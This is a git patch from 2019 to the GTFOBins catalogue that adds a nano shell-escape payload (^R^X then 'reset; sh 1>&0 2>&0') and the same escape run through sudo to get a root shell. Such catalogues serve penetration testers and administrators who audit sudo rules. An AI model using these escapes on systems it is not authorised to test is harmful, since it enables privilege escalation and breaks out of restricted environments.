From 2650be9c68b1558b012d724da35510b8f2e809d3 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Fri, 15 Feb 2019 20:10:32 +0000 Subject: [PATCH] Add new shell and sudo payload to nano Thanks to https://twitter.com/TheKnapsy/status/1093137518780854273. --- _gtfobins/nano.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index a827df6..564cfa4 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -1,6 +1,10 @@ --- functions: shell: + - code: | + nano + ^R^X + reset; sh 1>&0 2>&0 - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp) @@ -24,6 +28,10 @@ functions: ./nano -s $TF /etc/hosts ^T sudo: + - code: | + sudo nano + ^R^X + reset; sh 1>&0 2>&0 - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp)